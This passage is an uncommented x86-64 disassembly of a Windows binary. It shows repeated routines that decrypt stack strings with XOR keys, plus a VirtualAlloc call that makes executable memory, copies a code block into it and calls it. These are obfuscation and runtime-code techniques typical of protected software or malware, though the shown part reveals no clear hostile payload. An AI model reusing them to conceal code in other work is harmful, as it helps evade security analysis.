shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, xmm10
xorps xmm3, xmm1
movq qword [rsp + 0x408], xmm3
jmp 0x1402352c7
lea r10, [rsp + 0x3e8]
mov r9d, 0xffcb
nop dword [rax]
mov eax, 0x22b63cbf
mul esi
shr edx, 4
movzx eax, dx
imul r8d, eax, 0x3b
mov eax, 0x3521cfb3
mul esi
mov ecx, esi
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 6
movzx edx, cx
imul edx, r9d
sub dx, r8w
add dx, 0x20
add dx, si
add dx, dx
xor word [r10], dx
inc esi
lea r10, [r10 + 2]
cmp esi, 0x14
jl 0x140235280
lea rdx, [rsp + 0x3e8]
lea rcx, [rsp + 0xbd0]
call fcn.140246ea0
nop
lea rcx, [rsp + 0xbd0]
call fcn.140206930
nop
lea rcx, [rsp + 0xbd0]
call fcn.1402489a0
mov byte [0x1402940d1], 0
jmp 0x140235bbf
movups xmm5, xmmword [0x14027d568]
movups xmmword [rsp + 0x3c0], xmm5
movups xmm0, xmmword [0x14027d578]
movups xmmword [rsp + 0x3d0], xmm0
movq xmm10, qword [0x14027d588]
movq qword [rsp + 0x3e0], xmm10
cmp r12d, 2
jl 0x1402356d1
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm9
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm9, xmm0
pshufhw xmm0, xmm9, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, xmm5
xorps xmm3, xmm1
movq qword [rsp + 0x3c0], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm11, xmm0
pshufhw xmm0, xmm11, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x3c8]
xorps xmm3, xmm1
movq qword [rsp + 0x3c8], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm12, xmm0
pshufhw xmm0, xmm12, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x3d0]
xorps xmm3, xmm1
movq qword [rsp + 0x3d0], xmm3
movdqa xmm4, xmm15
punpckldq xmm4, xmm15
movdqa xmm1, xmm15
punpckhdq xmm1, xmm15
movdqa xmm2, xmm4
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm4, xmm8
pmuldq xmm1, xmm8
shufps xmm4, xmm1, 0xdd
psrad xmm4, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm14
psubd xmm15, xmm0
pshufhw xmm0, xmm15, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x3d8]
xorps xmm3, xmm1
movq qword [rsp + 0x3d8], xmm3
movdqa xmm5, xmmword [0x1402805f0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, xmm10
xorps xmm3, xmm1
movq qword [rsp + 0x3e0], xmm3
jmp 0x140235727
lea r10, [rsp + 0x3c0]
mov r9d, 0xffcb
nop
mov eax, 0x22b63cbf
mul esi
shr edx, 4
movzx eax, dx
imul r8d, eax, 0x3b
mov eax, 0x3521cfb3
mul esi
mov ecx, esi
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 6
movzx edx, cx
imul edx, r9d
sub dx, r8w
add dx, 0x20
add dx, si
add dx, dx
xor word [r10], dx
inc esi
lea r10, [r10 + 2]
cmp esi, 0x14
jl 0x1402356e0
lea rdx, [rsp + 0x3c0]
lea rcx, [rsp + 0xbb0]
call fcn.140246ea0
nop
lea rcx, [rsp + 0xbb0]
call fcn.140206930
nop
lea rcx, [rsp + 0xbb0]
call fcn.1402489a0
mov byte [0x1402940d1], 0
jmp 0x140235bbf
movups xmm5, xmmword [0x14027d568]
movups xmmword [rsp + 0x398], xmm5
movups xmm0, xmmword [0x14027d578]
movups xmmword [rsp + 0x3a8], xmm0
movq xmm10, qword [0x14027d588]
movq qword [rsp + 0x3b8], xmm10
cmp r12d, 2
jl 0x140235b31
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm9
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm9, xmm0
pshufhw xmm0, xmm9, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, xmm5
xorps xmm3, xmm1
movq qword [rsp + 0x398], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm11, xmm0
pshufhw xmm0, xmm11, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x3a0]
xorps xmm3, xmm1
movq qword [rsp + 0x3a0], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm12, xmm0
pshufhw xmm0, xmm12, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x3a8]
xorps xmm3, xmm1
movq qword [rsp + 0x3a8], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
movdqa xmm1, xmm15
punpckhdq xmm1, xmm15
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm15, xmm0
pshufhw xmm0, xmm15, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x3b0]
xorps xmm3, xmm1
movq qword [rsp + 0x3b0], xmm3
movdqa xmm5, xmmword [0x1402805f0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, xmm10
xorps xmm3, xmm1
movq qword [rsp + 0x3b8], xmm3
jmp 0x140235b87
lea r10, [rsp + 0x398]
mov r9d, 0xffcb
nop
mov eax, 0x22b63cbf
mul esi
shr edx, 4
movzx eax, dx
imul r8d, eax, 0x3b
mov eax, 0x3521cfb3
mul esi
mov ecx, esi
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 6
movzx edx, cx
imul edx, r9d
sub dx, r8w
add dx, 0x20
add dx, si
add dx, dx
xor word [r10], dx
inc esi
lea r10, [r10 + 2]
cmp esi, 0x14
jl 0x140235b40
lea rdx, [rsp + 0x398]
lea rcx, [rsp + 0xb90]
call fcn.140246ea0
nop
lea rcx, [rsp + 0xb90]
call fcn.140206930
nop
lea rcx, [rsp + 0xb90]
call fcn.1402489a0
mov byte [0x1402940d1], 0
lea rcx, [rsp + 0x1060]
call fcn.1402489a0
nop
lea rcx, [rsp + 0xfa8]
call fcn.140248aa0
nop
lea rcx, [rsp + 0xf88]
call fcn.140248aa0
nop
lea rcx, [rsp + 0xe50]
jmp 0x14023b821
mov eax, dword [0x14027dfb4]
mov dword [rsp + 0x190], eax
cmp byte [0x14027dfb7], 0
je 0x140235dcd
mov r9d, esi
cmp r12d, 2
jl 0x140235d6d
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
paddb xmm2, xmm15
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x190], xmm2
jmp 0x140235dcd
lea r10, [rsp + 0x190]
nop word [rax + rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x140235d80
mov rbx, qword [rsp + 0xda0]
lea rcx, [rsp + 0x190]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140235de0
mov rcx, rdi
cmp qword [0x140294448], 0xf
cmova rcx, qword [0x140294430]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x190]
xor r8d, r8d
mov r15, qword [0x140294440]
mov rdx, r15
call fcn.14024c0c0
cmp rax, 0xffffffffffffffff
jne 0x140235ed0
mov eax, dword [0x14027db20]
mov dword [rsp + 0xf0], eax
movzx ecx, word [0x14027db24]
mov word [rsp + 0xf4], cx
movzx eax, byte [0x14027db26]
mov byte [rsp + 0xf0], 0x52
xor byte [rsp + 0xf1], 0x42
xor byte [rsp + 0xf2], 0x44
xor byte [rsp + 0xf3], 0x46
xor cl, 0x48
mov byte [rsp + 0xf4], cl
xor byte [rsp + 0xf5], 0x4a
xor al, 0x4c
mov byte [rsp + 0xf6], al
lea rcx, [rsp + 0xf0]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140235e92
cmp qword [0x140294448], 0xf
cmova rdi, qword [0x140294430]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xf0]
xor r8d, r8d
mov rdx, r15
mov rcx, rdi
call fcn.14024c0c0
cmp rax, 0xffffffffffffffff
je 0x14023b827
lea rcx, [rsp + 0xd90]
cmp qword [rsp + 0xda8], 0xf
cmova rcx, qword [rsp + 0xd90]
cmp rbx, 1
jne 0x140235f07
mov r8, rbx
lea rdx, [0x14027b6d0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14023b827
movsd xmm0, qword [0x14027cff8]
movsd qword [rsp + 0x1b0], xmm0
mov ecx, dword [0x14027d000]
mov dword [rsp + 0x1b8], ecx
cmp byte [0x14027d003], 0
je 0x1402361b5
mov r9d, esi
cmp r12d, 2
jl 0x14023615f
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm15
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14027cff8]
xorps xmm2, xmm0
movd dword [rsp + 0x1b0], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x1b4]
xorps xmm2, xmm1
movd dword [rsp + 0x1b4], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x1b8], xmm2
jmp 0x1402361b5
lea r10, [rsp + 0x1b0]
nop word [rax + rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xc
jl 0x140236170
xorps xmm0, xmm0
movups xmmword [rsp + 0xe70], xmm0
mov qword [rsp + 0xe80], rsi
mov qword [rsp + 0xe88], rsi
lea rax, [rsp + 0x1b0]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1402361e0
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0xe70]
call fcn.14020c680
nop
lea rdi, [fcn.1401f17d0]
mov eax, dword [0x14027dfb4]
mov dword [rsp + 0x198], eax
cmp byte [0x14027dfb7], 0
je 0x140236335
mov r9d, esi
cmp r12d, 2
jl 0x1402362dd
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
paddb xmm2, xmm15
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x198], xmm2
jmp 0x140236335
lea r10, [rsp + 0x198]
nop word [rax + rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x1402362f0
lea rax, [rsp + 0x198]
mov qword [rsp + 0x568], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xd50], xmm0
lea rax, [rsp + 0x62c8]
mov qword [rsp + 0xd58], r13
mov qword [rsp + 0xd60], rax
mov rbx, qword [rax]
xor rbx, r13
mov qword [rsp + 0xd50], rbx
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x140295aa0]
lea r15, [0x14024a750]
test rax, rax
je 0x1402363ba
mov rdx, rsi
cmp rax, r15
je 0x1402363a9
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x295aa0]
test rax, rax
jne 0x140236391
jmp 0x1402363ba
mov r8, qword [r14 + rdx*8 + 0x294790]
test r8, r8
jne 0x14023649f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1402363e3
mov r8, rsi
jmp 0x14023647e
mov rax, r15
mov rcx, r8
mov edx, 3
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1402363f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140294de8]
mov qword [r14 + rax*8 + 0x295aa0], r15
mov qword [r14 + rax*8 + 0x294790], r8
inc rax
mov qword [0x140294de8], rax
lea rdx, [rsp + 0x568]
mov rcx, rdi
call r8
nop
xor rbx, r13
mov qword [rsp + 0xd50], rbx
lea rax, [rsp + 0x62c8]
mov qword [rax], rbx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov r15, rax
lea rbx, [rsp + 0xd90]
cmp qword [rsp + 0xda8], 0xf
cmova rbx, qword [rsp + 0xd90]
mov dword [rax], esi
mov r8d, 0xa
lea rdx, [rsp + 0xcf0]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
cmp rbx, qword [rsp + 0xcf0]
jne 0x140236517
lea rcx, str.invalid_stoi_argument
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_]
cmp dword [r15], 0x22
jne 0x14023652a
lea rcx, str.stoi_argument_out_of_range
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
cmp eax, 0x28
jl 0x140236558
lea rcx, [rsp + 0xd90]
call fcn.1401f2320
cmp eax, 0x64
jg 0x140236558
lea rdx, [rsp + 0xd90]
lea rcx, [rsp + 0xd90]
call fcn.140247140
jmp 0x1402365b6
movzx eax, word [0x14027f73c]
mov word [rsp + 0xb8], ax
movzx eax, byte [0x14027f73e]
mov byte [rsp + 0xb8], 0x38
xor byte [rsp + 0xb9], 0x42
xor al, 0x44
mov byte [rsp + 0xba], al
lea rax, [rsp + 0xb8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140236596
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0xd90]
call fcn.140248d40
nop
jmp 0x14023663e
movzx eax, word [0x14027dfb8]
mov word [rsp + 0x7c], ax
cmp byte [0x14027dfb9], 0
je 0x14023665d
mov byte [rsp + 0x7c], 0x3a
xor byte [rsp + 0x7d], 0x42
lea rax, [rsp + 0x7c]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140236670
movabs rbx, 0x7fffffffffffffff
mov rax, rbx
mov rdx, qword [rsp + 0xed8]
sub rax, rdx
cmp rax, rcx
